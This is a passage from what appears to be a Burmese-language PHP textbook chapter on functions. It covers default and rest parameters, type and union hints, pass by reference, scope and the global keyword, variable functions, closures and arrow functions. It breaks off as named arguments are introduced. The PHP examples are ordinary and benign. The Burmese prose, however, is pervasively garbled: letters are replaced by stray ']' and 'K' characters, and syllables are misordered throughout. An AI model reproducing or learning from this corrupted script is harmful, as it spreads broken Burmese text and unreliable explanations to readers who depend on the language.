ပေတွကိုအသံုးဖြပုရတဲ့    Procedural  Language    တစ်]ုဖြKစ်တယ်   လ့ုိ  ဆိုနိုင်တာပါ။  အသံုးဝင်တဲ့  Standard
Function  ပေတွ  အပေဖြမာက်အများ  Language  နဲ့အတူ  ပါဝင်သလိုပဲ  ကိုယ်တိုင်လည်း  Function  ပေတွကို
လုိအပ်သလို Kန်တီးပေရးသား အသံုးဖြပုနိုင်ပါတယ်။

PHP မှာ Function ပေတွ ပေရးသားပံု၊ ပေ]ါ်ယူအသံုးဖြပုပံုပေတွဟာ JavaScript နဲ့ ပေတာ်ပေတာ်ပေလး ဆင်တူပါ
တယ်။ ကွဲဖြပားမှုပေတွလည်း ရိှပါတယ်။  Function  တစ်]ုပေကြကညာK့ုိအတွက်  function Statement  ကို
အသုံးဖြပုပြပီးပေတာ့ အ]ုလုိ ပေရးသားနိုင်ပါတယ်။
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 PHP 

<?php

function add($a, $b) {
   echo $a + $b;
}

add(1, 2);     // 3

နမူနာအရ  add() Function  ကို  Parameters  နှစ်]ုနဲ့အတူ  ပေကြကညာထားပါတယ်။  ဒါပေကြကာင့်  ပေ]ါ်ယူ
အသုံးဖြပုတဲ့အ]ါ  Arguments  နှစ်]ု  ပေပးပြပီး  ပေ]ါ်ယူအသံုးဖြပုK့ုိ  လုိပါတယ်။  JavaScript  မှာဆိုရင်  ပေပးတဲ့
Argument  မစုံတဲ့အ]ါ  အလုပ်လုပ်ပုံ  မမှန်ပေပမယ့်  Error  ပေတာ့မဖြKစ်ပါဘူး။  PHP  မှာပေတာ့  ပေပးတဲ့
Argument   မစုံရင်   Error   တက်ပါတယ်  ။

add(1);     // Error: Too few arguments

ပေပးတဲ့    Argument    ပုိသွားရင်ပေတာ့    Error    မတက်ပါဘူး  ။  ဒါပေပမယ့်  ပုိသွားတဲ့  Argument  ပေတွကို
ထည့်သွင်းလက်]ံ မလုပ်လုပ်မှာလည်း မဟုတ်ပါဘူး။

add(1, 2, 3); // 3 

Function  ပေ]ါ်ယူတဲ့ပေနရာကို တန်Kိုးတစ်]ု ဖြပန်ပေပးလုိရင်  return Statement  နဲ့ပေပးနိုင်ပါတယ်။  PHP
Function ပေတွက return Statement မပါရင် Default   အပေနနဲ့   NULL     ကို   Return   ဖြပန်ပေပးပါတယ်  ။

 PHP 

<?php

function add($a, $b) {
   return $a + $b;
}

$result = add(1, 2);

echo add(1, 2); // 3



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၆) – Functions 75

နမူနာအရ add() Function က $a နဲ့  $b ပေပါင်းဖြ]င်းရလဒ်ကို  Return ဖြပန်ပေပးထားပါတယ်။ ဒါပေကြကာင့်
ပေ]ါ်ယူလုိက်တဲ့ Statement နှစ်]ုမှ၊ ပထမတစ်]ုက ဖြပန်ရလာတဲ့ Return Value ကို $result Variable
ထဲမှာ ထည့်ပေပးလိုက်လ့ုိ  $result ရဲ့ တန်Kုိး  3  ဖြKစ်သွားမှာပါ။ ရလဒ်ကို ပေKာ်ဖြပမှာပေတာ့ မဟုတ်ပါဘူး။
ပေKာ်ဖြပ]ိုင်းထားဖြ]င်း မရှိလ့ုိပါ။ ဒုတိယတစ်]ုကျပေတာ့မှ echo နဲ့ ရလဒ်ကို ပေKာ်ဖြပပေစလ့ုိ 3 ကို ရလဒ်အပေန
နဲ့ ပေတွ့ဖြမင်ရမှာ ဖြKစ်ပါတယ်။

Parameter  ပေတွမှာ  Default  Value  သတ်မှတ်ပေပးထားလ့ုိလည်း  ရနိုင်ပါတယ်။  ဒီလိုသတ်မှတ်ပေပးထား
မယ်ဆိုရင်ပေတာ့  Function  ပေ]ါ်ယူတဲ့အ]ါ အ့ဲဒီ  Parameter  အတွက်  Argument  ပါမလာ]ဲ့ရင် သတ်မှတ်
ထားတဲ့ Default Value ကို သံုးပေပးသွားမှာပါ။

 PHP 

<?php

function add($a, $b = 0) {
   echo $a + $b;
}

add(1, 2);     // 3
add(9);        // 9

နမူနာအရ  add() Function  မှာ  $a နဲ့  $b ဆိုပြပီး  Parameter  နှစ်]ရုှိပါတယ်။  $b အတွက်  Default
Value  အဖြKစ်  0  လ့ုိသတ်မှတ်ပေပးထားပါတယ်။  ဒါပေကြကာင့်  add(1, 2) လ့ုိ  ပေ]ါ်ယူလုိက်တဲ့အ]ါ  $a
တန်Kုိး 1 ဖြKစ်သွားပြပီး $b တန်Kုိး 2 ဖြKစ်သွားလ့ုိ ရလဒ်အပေနနဲ့ 3 ကို ပေတွ့ ဖြမင်ရတာပါ။ add(9) လ့ုိ ပေ]ါ်တဲ့
အ]ါ  Argument  မဖြပည့်စုံပေပမယ့်  Error  မတက်ပေတာ့ပါဘူး။  $a တန်Kုိး  9  ဖြKစ်သွားပြပီး  $b တန်Kုိးမပါလို့
Default Value ဖြKစ်တဲ့ 0 ကို အသံုးဖြပု အလုပ်လုပ်ပေပးသွားမှာမို့လ့ုိ ဖြKစ်ပါတယ်။

PHP မှာ Rest Parameter ပေရးထံုးလည်း ရိှပါပေသးတယ်။ ဒီလုိပါ –
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 PHP 

<?php

function add($a, ...$b) {
   print_r($b);
}

add(1, 2, 3, 4);

// Array ( [0] => 2 [1] => 3 [2] => 4 )

နမူနာအရ  $b Parameter  ဟာ  Rest  Parameter  တစ်]ုဖြKစ်လို့  ပါဝင်လာတဲ့  Argument  အားလံုးကို
လက်]ံထားပေပးမှာပါ။ add(1, 2, 3, 4) လ့ုိပေ]ါ်လုိက်တဲ့အ]ါ $a တန်Kုိး 1 ဖြKစ်သွားပြပီး ကျန်တဲ့  2,
3, 4 အားလံုးဟာ $b ထဲမှာ Array တစ်]ုအပေနနဲ့ ပေရာက်ရှိသွားတယ်ဆိုတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။

အရင်တုံးက PHP မှာ Rest Parameter ပေရးထံုးမရှိပါဘူး။ အ့ဲဒီလုိ မရှိ]ျနိ်ကဆိုရင်ပေတာ့ အ]ုလုိ ပေရး]ဲ့ကြကရ
ပါတယ်။

 PHP 

<?php

function add() {
   $args = func_get_args();
   print_r($args);
}

add(1, 2, 3, 4);

// Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

func_get_args() လ့ုိပေ]ါ်တဲ့  Standard Function  ကိုသုံးပြပီး  Argument  စာရင်းကို ရယူ]ဲ့ကြကရတာ
ပါ။  အ]ုပေတာ့  မလုိအပ်ပေတာ့ပါဘူး။  ပုိပေကာင်းတဲ့  Rest  Parameter  ပေရးထံုးရှိသွားပါပြပီ။  ပပေရာဂျက်
အပေဟာင်းပေတွနဲ့  ကုဒ်နမူနာ အပေဟာင်းပေတွမှာ  func_get_args() ကိုသံုးပြပီး  ပေရးထားတာ ပေတွ့ရင်
ဘာကိုဆိုလုိတာလည်း သိပေအာင်သာ ထည့်ပေဖြပာလုိက်တာပါ။
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PHP  Function  ပေတွပေကြကညာတဲ့အ]ါ  Parameter  ပေတွကို  Type  Hint  လုပ်ပြပီးလက်]ံလ့ုိရပါတယ်။  ဒါ
ပေကြကာင့်  Function  ပေ]ါ်ယူတဲ့အ]ါ သတ်မှတ်ထားတဲ့  Type  နဲ့ကိုက်ညီတဲ့ တန်Kုိးကိုသာ ပေပးလုိရ့ပေတာ့မှာ
ပါ။ ဒါဟာ PHP 7 မှာ စတင်ပါဝင်လာတဲ့ အလွန်အပေရးပါတဲ့ လုပ်ပေဆာင်]ျက် ဖြKစ်ပါတယ်။ 

 PHP 

<?php

function add($nums) {
   return array_sum($nums);
}

echo add(1, 2);

// Error: array_sum(): Argument must be array

ဒီနမူနာမှာ add() Function ကိုပေ]ါ်တဲ့အ]ါ Array ကို Argument အပေနနဲ့ ပေပးK့ုိလုိအပ်ပါတယ်။ ဒီပေတာ့
မှ အလုပ်လုပ်ပုံမှန်မှာပါ။ နမူနာမှာ ရိုးရိုး Integer ပေတွပေပးထားတဲ့အတွက် Error တက်ပါတယ်။ Function
ပေ]ါ်တဲ့အ]ျနိ်မှာ တက်တာမဟုတ်ပါဘူး။  Function  ထဲက array_sum() ကိုအလုပ်လုပ်]ျနိ်ကျပေတာ့မှ
တက်တာပါ။ ဒီ  Error  ကို ကြကည့်လုိက်ရင်  array_sum() ကိုပေ]ါ်ရင်  Array  ကိုပေပးရမယ်လ့ုိ ပေဖြပာပေနပါ
တယ်။ တစ်ကယ်တမ်း Function ပေ]ါ်တာက array_sum() ကိုပေ]ါ်ပေနတာ မဟုတ်ပါဘူး။ add() ကို
ပေ]ါ်ပေနတာပါ။ Error က မတိကျပါဘူး။ Function ပေ]ါ်တဲ့သူက "ဘာကြကီးလဲ၊ ငါပေ]ါ်တာ   add()     ပေလ ဘာ  
ဖြKစ်လ့ုိ    array_sum()   Error    တက်ပေနတာလဲ  "  ဆိုပြပီး  ပေ]ါင်းစားသွားနိုင်ပါတယ်။  အ]ုက  နမူနာကုဒ်
ပေလးမ့ုိလ့ုိသာ ဖြမင်သာတာပါ။ တစ်ကယ့် ပပေရာဂျက်ပေတွမှာ Function ပေတွကို အဆင့်ဆင့် ]ျတိ်ဆက်ပေ]ါ်
ယူထားကြကမှာ ဖြKစ်လ့ုိ  ဘာပေကြကာင့်  Error  ဖြKစ်ပေနတဲ့  အပေဖြKရK့ုိအတွက် အဆင့်ဆင့်  လုိက်ရှာရပေတာ့မှာပါ။
အ]ျနိ်ပေတွကုန်သလုိ စိတ်ညစ်စရာလည်း ပေကာင်းပါတယ်။ ဒီကုဒ်ကိုပဲ အ]ုလုိ ဖြပင်ပေရးလုိက်နိုင်ပါတယ် –

 PHP >= 7.0 

<?php

function add(Array $nums) {
   return array_sum($nums);
}

echo add(1, 2);
// Error: add(): Argument must be array
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Function  ပေကြကညာစဉ်မှာ  လက်]ံမယ့်  Parameter  ဟာ  Array  ဖြKစ်ပေကြကာင့်  Hint  လုပ်ပေပးလုိက်တာပါ။
Scalar Type Hinting လ့ုိပေ]ါ်ပါတယ်။ ဒီဥပမာမှာလည်း ပေ]ါ်ယူပံု မမှန်လ့ုိ Error တက်တာပါပဲ။ ဒါပေပမယ့်
Error  က တိကျသွားပါပြပီ။  add() ကိုပေ]ါ်တဲ့အ]ါ  Array  ကို  Argument  အပေနနဲ့ ပေပးရမယ်ဆိုတဲ့  Error
ဖြKစ်သွားလို့  အပေကြကာင်းရင်းက ရှင်းသွားပါတယ်။ ဒါပေကြကာင့် ဒီ Type Hinting လုပ်ပေဆာင်]ျက်ဟာ အလွန်
အပေရးပါတယ်လ့ုိ ပေဖြပာတာပါ။ ကုဒ်ပေတွထဲမှာ Error ရိှလာတဲ့အ]ါ ပုိပြပီးပေတာ့ အမှားရှာရလွယ်ကူ ဖြမန်ဆန်
သွားပေစမှာ ဖြKစ်ပါတယ်။

Return Type Hinting လုပ်ပေဆာင်]ျက်လည်း ရိှပါပေသးတယ်။ ဒီလုိပါ –

 PHP 

<?php

function add(Array $nums): float {
   echo array_sum($nums);
}

add([1, 2]);

// Error: add(): Return value must be float

Function ဝုိက်ကွင်းအပိတ်နဲ့ တွန့်ကွင်းအစ ကြကားထဲမှာ Colon ပေလး]ံပြပီး Return Type ကို သတ်မှတ်ပေပး
ရတာပါ။ ဒီနမူနာမှာ  Function  ရဲ့  Return Value  ဟာ  float ဖြKစ်ရမယ်လ့ုိ သတ်မှတ်ထားပါတယ်။ ဒါ
ပေကြကာင့်  Array  ကို  Argument  အပေနနဲ့ပေပးပြပီး  ပေ]ါ်ယူအသံုးဖြပုထားလုိ့  အသံုးဖြပုပံု  မှန်ပေပမယ့်  Error
တက်ပေနပါတယ်။ Function က Return ဖြပန်ပေပးမထားလ့ုိ Return Value က NULL ဖြKစ်ပေနလ့ုိပါ။

PHP 8 မှာပေတာ့ Union Type လ့ုိပေ]ါ်တဲ့ လုပ်ပေဆာင်]ျက် ဖြKည့်စွက်ပါဝင်လာပါတယ်။ Type Hint လုပ်တဲ့
အ]ါ တစ်မျ ို းထက်ပိုပြပီး Hint လုပ်လ့ုိရသွားပေစတဲ့ ပေရးနည်းပါ။ ဒီလုိပါ –
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 PHP >= 8.0 

<?php

function price(int|float $n) {
   return "Price is \$$n";
}

echo price(3.1); // Price is $3.1
echo price(2); // Price is $2

Type Hint လုပ်စဉ်မှာ | Operator ပေလးနဲ့ လက်]ံလိုတဲ့ Type အမျ ို းမျ ို းကို ပူးတွဲပေကြကညာလ့ုိ ရတာပါ။ နမူ
နာအရ price() Function ကလက်]ံမယ့် $n Parameter ဟာ Integer သ့ုိမဟုတ် Float နှစ်မျ ို းထဲက
တစ်မျ ို း ဘာပဲဖြKစ်ဖြKစ် လက်]ံအလုပ်လုပ်သွားမှာပါ။ အကယ်၍ int လ့ုိ တစ်မျ ို းထဲ သတ်မှတ်]ဲ့မယ်ဆိုရင်
ဒဿမကိန်းပေတွကို Argument အပေနနဲ့ ပေပး]ဲ့ရင် အလုပ်လုပ်ပံု မှန်မှာ မဟုတ်ပေတာ့ပါဘူး။

နမူနာမှာ  Type  နှစ်မျ ို းကိုပူးတွဲပေကြကညာဖြပထားပေပမယ့်  လက်ပေတွ့မှာ  သုံးပေလးမျ ို း  လုိသပေလာက်  ပူးတွဲ
ပေကြကညာလ့ုိရနိုင်ပါတယ်။ Parameter Type နဲ့ပဲ နမူနာဖြပထားပေပမယ့် Return Type မှာလည်း အလားတူ
လုပ်ပေဆာင်]ျက် ရရိှနိုင်ပါတယ်။

Function ပေတွမှာ Parameter ပေတွပေပးတဲ့အ]ါ Pass by Value နဲ့ Pass by Reference ဆိုပြပီး နှစ်မျ ို းရှိပါ
တယ်။ PHP မှာ Default   က   Pass by Value   ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် Argument အပေနနဲ့ Variable တစ်]ု
ကို ပေပးလုိက်ရင် အ့ဲဒီ Variable ရဲ့ တန်Kုိးကိုသာ ပေပးလုိက်မှာပါ။ Variable တစ်]ုလံုးကို ပေပးလုိက်တာမျ ို း
မဟုတ်ပါဘူး။ ဒီလုိပါ –

 PHP 

<?php

$name = "Alice";
function hello($n) {
   $n = "Bob";
   echo "Hello $n";
}

hello($name);     // Hello Bob
echo $name;       // Alice
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နမူနာအရ $name Variable တစ်]ရုှိပေနပြပီး အ့ဲဒီ $name ကို Argument အပေနနဲ့ hello() ကိုပေ]ါ်ယူစဉ်
မှာ ပေပးလုိက်ပါတယ်။ ဒါပေကြကာင့် ပေပးလုိက်တဲ့ $name ထဲမှာရှိပေနတဲ့တန်KုိးဖြKစ်တဲ့ Alice က hello() ရဲ့
$n ထဲကို  ပေရာက်ရှိသွားပါတယ်။  $n တန်Kုိးကို  Bob  လ့ုိပေဖြပာင်းတဲ့အ]ါ  $n တန်Kုိးပဲ  ပေဖြပာင်းမှာပါ။
ပေပးလုိက်တဲ့ $name နဲ့ သက်ဆိုင်ဖြ]င်းမရှိပါဘူး။ ဒါပေကြကာင့် Function ရဲ့ ဖြပင်ပမှာ echo $name နဲ့ ဖြပန်
ထုတ်ကြကည့်လုိက်တဲ့  အ]ါမှာလည်း မူလတန်Kုိး  Alice  သာဆက်ရှိပေနတာကို  ပေတွ့ဖြမင်ရမှာဖြKစ်ပါတယ်။ ဒါ
ဟာ Default အလုပ်လုပ်တဲ့ပံုစံ ဖြKစ်ပါတယ်။

လုိအပ်လ့ုိ  Pass  by  Reference သပေဘာသဘာဝမျ ို းနဲ့  ပေရး]ျင်ရင်လည်း  ရပါတယ်။  အ့ဲဒီလုိဆိုရင်ပေတာ့
Variable  တစ်]ုကို  Argument  အပေနနဲ့ပေပးလုိက်ရင်  Variable  ကြကီးတစ်]ုလံုးကို  ]ျတိ်ပေပးလုိက်တာပါ။ ဒါ
ပေကြကာင့် Function   အတွင်းထဲမှာ၊ အ့ဲဒီ   Variable   ပေပါ်မှာ ဖြပုလုပ်သမ� အပေဖြပာင်းအလဲပေတွက မူလ   Variable  
ပေပါ်မှာလည်း သက်ပေရာက်သွားမှာ ဖြKစ်ပါတယ်။

 PHP 

<?php

$name = "Alice";

function hello(&$n) {
   $n = "Bob";
   echo "Hello $n";
}

hello($name);     // Hello Bob
echo $name;       // Bob

Parameter  မှာ  &  သပေက�တပေလး ပါသွားတာပါ။ ဒါဟာ  Reference Operator  ဖြKစ်ပါတယ်။ ဒါပေကြကာင့်
hello() ကိုပေ]ါ်ယူစဉ်မှာ $name ကိုပေပးလုိက်တဲ့အ]ါ Variable တစ်]ုလံုးကို ]ျတိ်ပေပးလုိက်တာပါ။ ဒါ
ပေကြကာင့် Function ထဲမှာ $name ကို လက်]ံယူတဲ့ $n တန်Kုိး ပေဖြပာင်းတဲ့အ]ါ မူလ $name တန်Kုိးလည်း
လုိက်ပေဖြပာင်းသွားတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။ 

ဒါဟာ Pass by Value နဲ့ Pass by Reference တို့ရဲ့ ဖြ]ားနား]ျက်ပဲဖြKစ်ပါတယ်။ 
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PHP Function ပေတွဟာ Global Scope ဖြKစ်ပါတယ်။

 PHP 

<?php

function one() {
   $name = "One";
}

one();
echo $name;

// Warning: Undefined variable $name

နမူနာအရ one() Function ရဲ့အတွင်းမှာ ပေကြကညာထားတဲ့ $name Variable ဟာ one() Function နဲ့
သာ သက်ဆိုင်တယ် Function Local Variable ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် အဖြပင်ကပေန အ့ဲဒီ Variable ကိုပေ]ါ်
သံုးတဲ့အ]ါ သံုးလ့ုိမရတာကို ပေတွ့ရနိုင်ပါတယ်။ 

 PHP 

<?php

function one() {
   function two() {
      echo "Two";
   }
}

one();
two();   // Two

ဒီနမူနာမှာပေတာ့  one() Function ရဲ့ အတွင်းမှာ two() Function ရိှပေနပါတယ်။ ဒါပေပမယ့် Function
ပေတွဟာ ဘယ်နားမှာပဲပေရးပေရး    Global Scope    ရလ့ုိ   ဖြပင်ပကပေန ပေ]ါ်သံုးတဲ့အ]ါ သံုးလုိရ့ပေနတာကို ပေတွ့
ဖြမင်ရမှာပဲ ဖြKစ်ပါတယ်။ ဒါဟာ သတိဖြပုစရာ သပေဘာသဘာဝတစ်]ုပါ။

ပေနာက်ထပ်သတိဖြပုစရာကပေတာ့  two() Function  ဟာ  one() Function  ထဲမှာပေရးထားလ့ုိ  one()
Function  ကိုပေ]ါ်လုိက်မှ  two() Function  အသက်ဝင်သွားမှာပါ။  ဒါပေကြကာင့်  ပေပးထားတဲ့နမူနာမှာ
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one() Function  ကို  အရင်ပေ]ါ်ပြပီးမှ  two() Function  ကို  ပေ]ါ်ထားတာကို  ပေတွ့ရနိုင်ပါတယ်။
အကယ်၍ one() Function ကို မပေ]ါ်ဘဲ two() Function ကို ပေ]ါ်K့ုိကြကိုးစားရင်ပေတာ့ Error တက်မှာ
ပါ။ one() Function အလုပ်လုပ်လုိက်မှသာ သူ့အထဲက two() Function က အသက်ဝင်မှာမ့ုိလ့ုိပါ။

ပေနာက်ပြပီးပေတာ့ ဟိုးအပေပါ်မှာ Variable အပေကြကာင်းပေဖြပာတုံးက ပေဖြပာ]ဲ့ပြပီးသား အပေကြကာင်းအရာတစ်]ု ရှိပါ
တယ်။  Variable  ပေတွဟာ ပေကြကညာထားတဲ့  Scope  မှာပဲ တိုက်ရိုက်သံုးလ့ုိရပါတယ်။  Global Scope  မှာ
ပေကြကညာထားတဲ့  Variable ကို  Function ကပေနတိုက်ရိုက်သံုးလ့ုိရမှာ မဟုတ်ပါဘူး။  Global Variable ကို
Global Scope မှာပဲ သံုးလ့ုိရမှာပါ။ ဒီလုိပါ –

 PHP 

<?php

$name = "Alice";

function hello() {
   echo "Hello $name";
}

hello();

// Warning: Undefined variable $name

$name Variable  ဟာ  Global Variable  တစ်]ုဖြKစ်ပေပမယ့်  Function  ရဲ့အတွင်းထဲမှာ သံုးK့ုိကြကိုးစားတဲ့
အ]ါ Undefined Variable ဆိုတဲ့ Warning တက်ပေနတာပါ။ အကယ်၍ Global Variable ကို အသံုးဖြပုလုိ
ရင် အသံုးဖြပုလုိပေကြကာင်း ကြကိုတင်ပေကြကညာပြပီးပေတာ့မှသာ အသံုးဖြပုရပါတယ်။ ဒီလုိပါ။

 PHP 

<?php

$name = "Alice";

function hello() {
    global $name;
    echo "Hello $name";
}

hello(); // Hello Alice
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ဒီတစ်]ါပေတာ့  Error  ပေတွ  Warning  ပေတွမတကပ်ေတာ့ပါဘူး။  global Statement  နဲ့  အသုံးဖြပုမယ့်
အပေကြကာင်း  ပေကြကညာပြပီးမှ  အသံုးဖြပုလုိက်တဲ့အတွက် အဆင်ပေဖြပသွားပါတယ်။ ဒီနည်းနဲ့  Global  Variable
ပေတွကို  အသုံးဖြပုတဲ့အ]ါ  ရယူအသံုးဖြပုယံုတင်  မကပါဘူး၊    Global  Variable    ရဲ့  တန်Kုိးပေတွကိုလည်း  
ပေဖြပာင်းလုိ့ရသွားပါတယ်။ ဒီလုိပါ – 

 PHP 

<?php

$name = "Alice";

function hello() {
   global $name;
   $name = "Bob";
}

hello();

echo $name; // Bob 

နမူနာအရ မူလ $name Variable ရဲ့တန်Kုိး Alice ဖြKစ်ပေပမယ့် hello() Function က သူ့တန်Kုိးကို Bob
လ့ုိ ပေဖြပာင်းလုိက်ပါတယ်။ ဒါပေကြကာင့် ဖြပန်ထုတ်ကြကည့်တဲ့အ]ါ  $name ရဲ့ တန်Kုိး  Bob ဖြKစ်ပေနတာကို ပေတွ့
ဖြမင်ရဖြ]င်းပဲ ဖြKစ်ပါတယ်။

PHP မှာ  Variable Function  ဆိုတဲ့ သပေဘာသဘာဝတစ်]ုလည်း ရှိပါပေသးတယ်။  Variable    ရဲ့ပေနာက်မှာ  
ဝုိက်ကွင်းအKွင့်အပိတ် ထည့်ပေပးလုိက်ဖြ]င်းအားဖြKင့် Function တစ်]ုကဲ့သ့ုိ ပေ]ါ်ယူနိုင်တဲ့ သပေဘာမျ ို းပါ။

 PHP 

<?php

function add($a, $b) {
   echo $a + $b;
}

$name = "add";
$name(1, 2);   // 3
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$name Variable  ထဲမှာ  add ဆိုတဲ့  String  တန်Kုိးတစ်]ုရှိပေနတဲ့အတွက်  $name() လ့ုိပေဖြပာလိုက်တာ
ဟာ add() လ့ုိပေဖြပာလုိက်တာနဲ့ အတူတူပါပဲ။ ဒါပေကြကာင့် add() Function အလုပ်လုပ်သွားတာကို ပေတွ့
ရမှာပဲ ဖြKစ်ပါတယ်။ PHP မှာ Function Expression ပေရးထံုးလည်း ရှိပါပေသးတယ်။ Nameless Function
(သ့ုိမဟုတ်) Anonymous Function လ့ုိလည်း ပေ]ါ်နိုင်ပါတယ်။

 PHP 

<?php 

$nums = [1, 2, 3, 4];

function two($n) {
   return $n * 2;
}

$result = array_map("two", $nums);

print_r($result);

// Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 )

နမူနာမှာ $nums Array ရိှပြပီး ပေပးလိုက်တဲ့တန်Kုိးကို 2 နဲ့ ပေဖြမှာက်ပေပးတဲ့ two() Function လည်းရှိပေနပါ
တယ်။ Array ပေတွ Loop လုပ်K့ုိအတွက် PHP မှာ လည်း map() Function ရိှပါတယ်။ array_map()
လ့ုိ  ပေ]ါ်ပါတယ်။  ပေရှ့ ပုိင်းမှာ  Function  အပေကြကာင်း  မပေဖြပာရပေသးလ့ုိ  ထည့်မပေဖြပာ]ဲ့တာပါ။
array_map() က Callback Function နဲ့ Array တို့ကို Parameter အပေနနဲ့လက်]ံပါတယ်။ ဒါပေကြကာင့်
Callback  အဖြKစ်  two ကိုပေပးပြပီး  Array  အဖြKစ်  $nums ကိုပေပးလုိက်တဲ့အ]ါ အထဲကတန်Kိုးပေတွကို  2  နဲ့
ကိုယ်စီပေဖြမှာက်ပေပးထားတဲ့  $result Array  ကို  ဖြပန်ရတာ  ပေတွ့ ဖြမင်ရမှာပဲ  ဖြKစ်ပါတယ်။  ဒီကုဒ်ကို
Nameless Function သံုးပြပီး အ]ုလုိ ဖြပင်ပေရးလုိက်လည်း ရနိုင်ပါတယ်။
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 PHP 

<?php

$nums = [1, 2, 3, 4];

$result = array_map(function($n) {
   return $n * 2;
}, $nums);

print_r($result);

// Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 )

ရလဒ်က  အတူတူပါပဲ။  ကြကိုပေရးထားတဲ့  Function  ကို  Callback  အပေနနဲ့  မပေပးပေတာ့ဘဲ၊  Function
Expression  ကို  Callback  အပေနနဲ့  ပေပးလုိက်တာပါ။  Function  Expression  ကို  Variable  ပေတွထဲမှာ
Assign လုပ်ထားလို့လည်း ရနိုင်ပါတယ်။

 PHP 

<?php

$two = function($n) {
   echo $n * 2;
};

$two(2);    // 4

$two Variable  ထဲမှာ  Function  ရိှပေနတဲ့အတွက် ပေစာပေစာကပေဖြပာ]ဲ့တဲ့  Variable Function  ပေရးထံုးနဲ့
ပေ]ါ်ယူအသံုးဖြပုလုိက်တာပါ။  ဒီလုိ  Function  Expression  ပေတွပေရးတဲ့အ]ါ  အသံုးဖြပုပေစလိုတဲ့  Variable
ပေတွကို use Statement နဲ့ ထည့်ပေပးလုိက်လ့ုိ ရနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

$name = "Alice";
$hello = function() use ($name) {
   echo "Hello $name";
};
$hello(); // Hello Alice
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ပေစာပေစာကပဲ Global Variable ပေတွကို Function ထဲမှာ သံုး]ျင်ရင် global Statement နဲ့ ကြကိုပေဖြပာပြပီး
မှ  သံုးလ့ုိရတယ်လို့  ပေဖြပာ]ဲ့ပါတယ်။  အ]ုပေတာ့    global   Statement    မလိုအပ်ပေတာ့ပါဘူး။    use  
Statement   ကိုသုံးပြပီး တစ်]ါထဲ တွဲထည့်ပေပးလိုက်လ့ုိပါ  ။ ဒီနည်းရဲ့ အားသာ]ျက်ကပေတာ့ တန်Kုိးကို Value
အပေနနဲ့သာ  ပေပးလုိက်တာပါ။  ဒါပေကြကာင့်  Function  အတွင်းမှာ  တန်Kုိးပေဖြပာင်းလုိက်လို့လည်း  မူလပင်မ
Variable မှာ တန်Kုိးပေဖြပာင်းမှာ မဟုတ်ပါဘူး။ ဒီလိုစမ်းကြကည့်လို့ရပါတယ်။

 PHP 

<?php

$name = "Alice";

$hello = function() use ($name) {
   $name = "Bob";
   echo "Hello $name";
};

$hello(); // Hello Bob

echo $name; // Alice

Function အတွင်းမှာ $name တန်Kုိးကို ပေဖြပာင်းလုိက်ပေပမယ့်၊ မူလ $name တန်Kုိးကပေတာ့ မပေဖြပာင်းဘူး
ဆိုတာကို ပေတွ့ ဖြမင်ရတာပဲ ဖြKစ်ပါတယ်။

PHP  မှာ  Arrow Function  ပေရးထံုးလည်း ရိှပါပေသးတယ်။  JavaScript  ရဲ့  Arrow Function  နဲ့  ပေရးထံုး
နည်းနည်းဆင်ပါတယ်။ တူပေတာ့ မတူပါဘူး။ ဒီလိုပါ –

 PHP >= 7.4 

$two = fn ($n) => $n * 2;

echo $two(3);    // 6

fn ရဲ့ပေနာက်မှာ ဝုိက်ကွင်းအKွင့်အပိတ်နဲ့  Parameter List  လုိက်ရပြပီး  သ့ူပေနာက်ကပေန  => သပေက�တနဲ့
အတူ Return ဖြပန်ပေပးရမယ့် Expression ကို ပေပးလိုက်ရတာပါ။ JavaScript မှာ fn မလုိပါဘူး။ PHP မှာ
ထည့်ပေပးရပါတယ်။  PHP  မှာ  => သပေက�တကို  Array  ပေတွမှာလည်း သံုးတဲ့အတွက်  Array  နဲ့မပေရာပေစK့ုိ
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အတွက် ပေရှ့ကပေန fn ထည့်ပေပးရတဲ့သပေဘာ ဖြKစ်မယ်လ့ုိ ယူဆပါတယ်။ ပြပီးပေတာ့ တွန့်ကွင်းအKွင့်အပိတ်
ပေတွ ထည့်လ့ုိမရတာကိုလည်း သတိဖြပုရပါမယ်။ ဒါပေကြကာင့် Function Statement ပေတွ ပေရးလ့ုိပေတာ့ ရမှာ
မဟုတ်ပါဘူး။ Expression တစ်]ုပဲ ပေရးလ့ုိရမှာပါ။

Arrow Function  ရဲ့  ပေနာက်ထပ်ထူးဖြ]ား]ျက်တစ်]ုက  Global Variable  ပေတွကို  တိုက်ရိုက် အသံုးဖြပုနိုင်
ဖြ]င်း ဖြKစ်ပါတယ်။ global ပေတွ use ပေတွ မလုိအပ်ပေတာ့ပါဘူး။ ဒီလုိပါ –

 PHP >= 7.4 

<?php

$x = 3;
$add = fn($y) => $x + $y;

echo $add(5);    // 8

Global Variable  ဖြKစ်တဲ့  $x တန်Kုိးကို  Arrow Function  ရဲ့  Expression  မှာ ထည့်သံုးလ့ုိ  ရပေနတာကို
ပေတွ့ရမှာ ဖြKစ်ပါတယ်။

Named Arguments
Function ပေတွပေ]ါ်တဲ့အ]ါ Arguments အစီအစဉ်ကို ပေရှ့ ပေနာက် မှန်ပေအာင် ပေပးရပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

function profile($name, $email, $age) {
   echo "$name ($age) @ $email";
}

profile("Alice", "alice@gmail.com", 22);

// Alice (22) @ alice@gmail.com
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နမူနာအရ profile() Function ကို ပေ]ါ်]ျင်ရင်  $name, $email, $age အစီအစဉ် မှန်ပေအာင်
ပေပးရပါတယ်။  ပေရှ့ ပေနာက်လဲွတာနဲ့  ရလဒ်လည်း  လဲွသွားမှာပါ။  ဒါပေကြကာင့်  တစ်]ျ ို ့  Argument  များတဲ့
Function ပေတွမှာ ပေရှ့ပေနာက်အစီအစဉ်ကို လုိက်မှတ်ပေနရတာ ပေတာ်ပေတာ် အလုပ်ရှုပ်ပါတယ်။

PHP 8 မှာပေတာ့ Named Arguments လ့ုိပေ]ါ်တဲ့ ပေရးထံုးပါဝင်လာလ့ုိ အဆင်ပေဖြပသွားပါတယ်။ ပေရှ့ပေနာက်
